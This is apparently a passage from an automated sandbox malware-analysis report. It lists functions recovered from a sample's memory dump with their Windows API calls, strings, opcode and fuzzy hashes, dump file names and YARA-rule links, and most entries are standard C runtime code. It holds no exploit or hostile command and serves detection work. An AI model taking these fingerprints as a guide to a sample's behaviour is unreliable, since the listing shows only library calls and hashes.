API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 29c3995b5a0d5eb113e10f8e1666fcffdce914aa94aaff878a116aa1b9d62b27
Instruction ID: 3df83308c7380a87ffbccb0a649fd75ecd0b8684c4f0e5b1aa73db5a778795bb
Opcode Fuzzy Hash: 29c3995b5a0d5eb113e10f8e1666fcffdce914aa94aaff878a116aa1b9d62b27
Instruction Fuzzy Hash: 8FF0EC3570020557DB049F36D8457667F94EFC1B55F064059EA058B291C675E942C794

Function 0043F21C Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,0043A4BC,?,20001004,00000000,00000002,?,?,004393CE), ref: 0043F250

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 3e16f8e81db26e2b64e9611c2cc8e2c33b578d54b62fdacad7734ffae619f6e3
Instruction ID: e827d4aefb2788d4c3d8d6ca4ebfc850c8ed0bb45692a4566f6f9a677d441ac6
Opcode Fuzzy Hash: 3e16f8e81db26e2b64e9611c2cc8e2c33b578d54b62fdacad7734ffae619f6e3
Instruction Fuzzy Hash: 66E04F76D00218BBCF122F61DC05AAE7F15EF487A2F004436FD0565262CB76DD21AA9D

Function 00435014 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00005135), ref: 00435019

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2ec10380cb32c547db7db2237eccf67aa05fa189b76b09ccf61eb1a208cb8985
Instruction ID: 19e52ce582d00c8a4650638b4a705ade6794c4f71e29b9d26531c696ff029656
Opcode Fuzzy Hash: 2ec10380cb32c547db7db2237eccf67aa05fa189b76b09ccf61eb1a208cb8985
Instruction Fuzzy Hash:

Function 0043FE2C Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0043FE2C

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 5cd3d440c915269730414c4d37e156ee2e6e00816a96f9e791157c480cd58797
Instruction ID: 4a04afc5c98363f1873b9d18100d34bf636706ec85ec871fbdc1fea2d6a2d9d1
Opcode Fuzzy Hash: 5cd3d440c915269730414c4d37e156ee2e6e00816a96f9e791157c480cd58797
Instruction Fuzzy Hash: 84A011F0A023008B83808F32AA08A083BA8AA00AC330A8038A000C2022EB20C880AF08

Function 0044A222 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00EAFF48,00EAFF48,00000000,7FFFFFFF,?,0044A20D,00EAFF48,00EAFF48,00000000,00EAFF48,?,?,?,?,00EAFF48,00000000), ref: 0044A2C8
__alloca_probe_16.LIBCMT ref: 0044A383
__alloca_probe_16.LIBCMT ref: 0044A412
__freea.LIBCMT ref: 0044A45D
__freea.LIBCMT ref: 0044A463
__freea.LIBCMT ref: 0044A499
__freea.LIBCMT ref: 0044A49F
__freea.LIBCMT ref: 0044A4AF

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 01a9a1b21e5ab8c5d3e2d7dc3548a44b04bfbf567fcfcb787b8f043d1130f382
Instruction ID: f6552ebe50b6292858add6debf1ad3ec5340f75046b23e57fdf9bdfb0754db9b
Opcode Fuzzy Hash: 01a9a1b21e5ab8c5d3e2d7dc3548a44b04bfbf567fcfcb787b8f043d1130f382
Instruction Fuzzy Hash: AE71F972940205ABFF209E958C46BAF7BB6AF49314F18405BED04A7381E67DDC20876A

Function 004354C5 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0043550C
__alloca_probe_16.LIBCMT ref: 00435538
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00435577
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00435594
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 004355D3
__alloca_probe_16.LIBCMT ref: 004355F0
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00435632
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00435655

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 56fd30880f64f67ef92bee4172100ec55eb8b31bdedca6e0210a5607cbadd4c0
Instruction ID: a4536d244d94184b11982723fc57847f96162450870043125c14eb1fb4fb0d33
Opcode Fuzzy Hash: 56fd30880f64f67ef92bee4172100ec55eb8b31bdedca6e0210a5607cbadd4c0
Instruction Fuzzy Hash: 6451D172600606BFEF205F61CC46FBB7BA9EF48745F54542AF909A6290D738DD108B98

Function 004361E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00436217
___except_validate_context_record.LIBVCRUNTIME ref: 0043621F
_ValidateLocalCookies.LIBCMT ref: 004362A8
__IsNonwritableInCurrentImage.LIBCMT ref: 004362D3
_ValidateLocalCookies.LIBCMT ref: 00436328

Strings

csm, xrefs: 004362BD

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 8873b7eaffffbd85f8293a08c9b5bcec98472217463028db437665934c3887d3
Instruction ID: 0f0ef861a3e561e9d1a653746bf89813428434eda67086f9f1aece7545f4342b
Opcode Fuzzy Hash: 8873b7eaffffbd85f8293a08c9b5bcec98472217463028db437665934c3887d3
Instruction Fuzzy Hash: 4541C930A00215ABCF10EF69C884A9F7BB5EF4D328F16D59AE8145B392C739D905CB99

Function 0043F469 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,0043F578,0043186A,?,00000000,004331E1,0043186C,?,0043F1F6,00000022,FlsSetValue,0044DFE0,8,E,004331E1), ref: 0043F52A

Strings

api-ms-, xrefs: 0043F4C0
ext-ms-, xrefs: 0043F4D4

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b4b57a283936dcea63e32c83b5f44718c4905ff3653fcca8e6674d9488f877c0
Instruction ID: c8fccb77c98b7476ac00b5ed8434ab0c5517700a122102605e2f9e07b07dd5a9
Opcode Fuzzy Hash: b4b57a283936dcea63e32c83b5f44718c4905ff3653fcca8e6674d9488f877c0
Instruction Fuzzy Hash: 0721F672E01311BBCB218F24EC41A5B77589B553A5F211132ED16A7392E738FE04C6D8

Function 00433010 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00433017
std::_Lockit::_Lockit.LIBCPMT ref: 00433022
std::_Lockit::~_Lockit.LIBCPMT ref: 00433090

Part of subcall function 00432EE4: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00432EFC

std::locale::_Setgloballocale.LIBCPMT ref: 0043303D
_Yarn.LIBCPMT ref: 00433053

Strings

HU, xrefs: 00433027

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID: HU
API String ID: 1088826258-641855966
Opcode ID: af217a89a8e48683fcf63ba0e3cca38f5c1ebffe91039c4dbacd6063f00c3904
Instruction ID: cd90932dd853f87535852cfe44acabe7e90956f73c44a616ca081dea690895b3
Opcode Fuzzy Hash: af217a89a8e48683fcf63ba0e3cca38f5c1ebffe91039c4dbacd6063f00c3904
Instruction Fuzzy Hash: 6A01B1B5A002149BCB09EF60E84257D7B71FF88346F15501EE81157382DF78AE02CB89

Function 0044625D Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27b9c1b9057c14153e1d8ae5dfb991325f89d4d7143145d26c01aa8cc2687f58
Instruction ID: c70a9b27c71d60b4bac0ff15a4bda44651ef8fb3de4138b8d8f00a07332615a6
Opcode Fuzzy Hash: 27b9c1b9057c14153e1d8ae5dfb991325f89d4d7143145d26c01aa8cc2687f58
Instruction Fuzzy Hash: F4B11670A00344AFEF11DFA9E840BAEBBB1AF4A304F15416EE50097396C778D941CB6E

Function 0043D2C0 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0043D2B7,00435FB7,00435179), ref: 0043D2CE
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043D2DC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043D2F5
SetLastError.KERNEL32(00000000,0043D2B7,00435FB7,00435179), ref: 0043D347

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 201f7d76a9cb7449555ceb8d8388ef62a25532723d012e55a021f2326ebaa0ad
Instruction ID: acbc310b942b44c0a2cc1b2b16ce67ec57f2d2b232e6aafe68a075d4e8354ad5
Opcode Fuzzy Hash: 201f7d76a9cb7449555ceb8d8388ef62a25532723d012e55a021f2326ebaa0ad
Instruction Fuzzy Hash: 53014C7290E7115EA7252B757CC597B2644EB0977AB30133FF510511E1EF1DDC01928D

Function 0043DB88 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0043DCA7
CallUnexpected.LIBVCRUNTIME ref: 0043DF20

Strings

csm, xrefs: 0043DCDE
csm, xrefs: 0043DBC5
csm, xrefs: 0043DC32

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 08556c493717661728dd8f9fd42232bde5fb8dc2dfd25454f20eddd16790b25b
Instruction ID: a621c30b6f2d480a4c0008b38bb4ca2e89c8b5e2633b322e78f9311b0c934f94
Opcode Fuzzy Hash: 08556c493717661728dd8f9fd42232bde5fb8dc2dfd25454f20eddd16790b25b
Instruction Fuzzy Hash: 63B17771C00609AFCF25DFA5E8819AFBBB5BF18314F14605BE8116B306D378EA51CB99

Function 00438C55 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,C34BFF09,?,?,00000000,0044B774,000000FF,?,00438D16,00438BFD,?,00438DB2,00000000), ref: 00438C8A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00438C9C
FreeLibrary.KERNEL32(00000000,?,?,00000000,0044B774,000000FF,?,00438D16,00438BFD,?,00438DB2,00000000), ref: 00438CBE

Strings

mscoree.dll, xrefs: 00438C83
CorExitProcess, xrefs: 00438C94

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: dfa07ded54440dd55879870f360eede5edd47d5c9221b9e990e1bf67da6e0c63
Instruction ID: cc5ab1b177b8a1e7668f34052d09e341f5966e2f5a03a88a54d26ab8373eea62
Opcode Fuzzy Hash: dfa07ded54440dd55879870f360eede5edd47d5c9221b9e990e1bf67da6e0c63
Instruction Fuzzy Hash: 10016CB1945755EFDB118F54CC05BAEB7B8FB48B52F004526FC11A22D1DB78D900CA98

Function 0043FC3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0043FCC2
__alloca_probe_16.LIBCMT ref: 0043FD8B
__freea.LIBCMT ref: 0043FDF2

Part of subcall function 0043E531: RtlAllocateHeap.NTDLL(00000000,004331E1,0043186A,?,004360C1,0043186C,0043186A,?,?,?,00433181,004331E1,0043186E,0043186A,0043186A,0043186A), ref: 0043E563

__freea.LIBCMT ref: 0043FE05
__freea.LIBCMT ref: 0043FE12

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: c4df03a5a5fefff8f83584b0dad77c10b91e4e80476922b623e99b9abad5465d
Instruction ID: 491ee90d742700ba82d32980b1db3da53571eca13caf23330882da04cc8a3154
Opcode Fuzzy Hash: c4df03a5a5fefff8f83584b0dad77c10b91e4e80476922b623e99b9abad5465d
Instruction Fuzzy Hash: 6051A572900206ABDF209F62CC46EBB76A9EF4C714F15143EFD05D6251EB38DC5486A8

Function 00447E92 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00447F2E,00000000,?,00456E10,?,?,?,00447E65,00000004,InitializeCriticalSectionEx,0044E57C,0044E584), ref: 00447E9F
GetLastError.KERNEL32(?,00447F2E,00000000,?,00456E10,?,?,?,00447E65,00000004,InitializeCriticalSectionEx,0044E57C,0044E584,00000000,?,0043E1DC), ref: 00447EA9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00447ED1

Strings

api-ms-, xrefs: 00447EB6

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 6bf2b47a27539f76812886118fd7e7d22ca8b3b2da031f387ae56abc05273f8c
Instruction ID: ba049d854f9e59082a3c3c87d7a279c621ddbe14fc22171924ddd046835e9294
Opcode Fuzzy Hash: 6bf2b47a27539f76812886118fd7e7d22ca8b3b2da031f387ae56abc05273f8c
Instruction Fuzzy Hash: EBE04870284309B7FB115F61EC06B5A3B59DB10B97F204071FA0DB85E2D765DD5196CC

Function 0044562D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(C34BFF09,00000000,00000000,?), ref: 00445690

Part of subcall function 0043E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0043FDE8,?,00000000,-00000008), ref: 0043E6A2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 004458E2
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00445928
GetLastError.KERNEL32 ref: 004459CB

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 6381d454f6379ae0ada3766dcb54973d69bf0e58a5370883a655f26e2e5aa4a9
Instruction ID: a2f420393df0de25ee39d1a7553bd7ce41ae9142858c88e2ddb6a064f5215cd1
Opcode Fuzzy Hash: 6381d454f6379ae0ada3766dcb54973d69bf0e58a5370883a655f26e2e5aa4a9
Instruction Fuzzy Hash: 81D199B5D00648DFDF15CFA8C880AAEBBB5FF09314F28412AE456EB352D634A902CB54

Function 0043D8AF Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0043D976
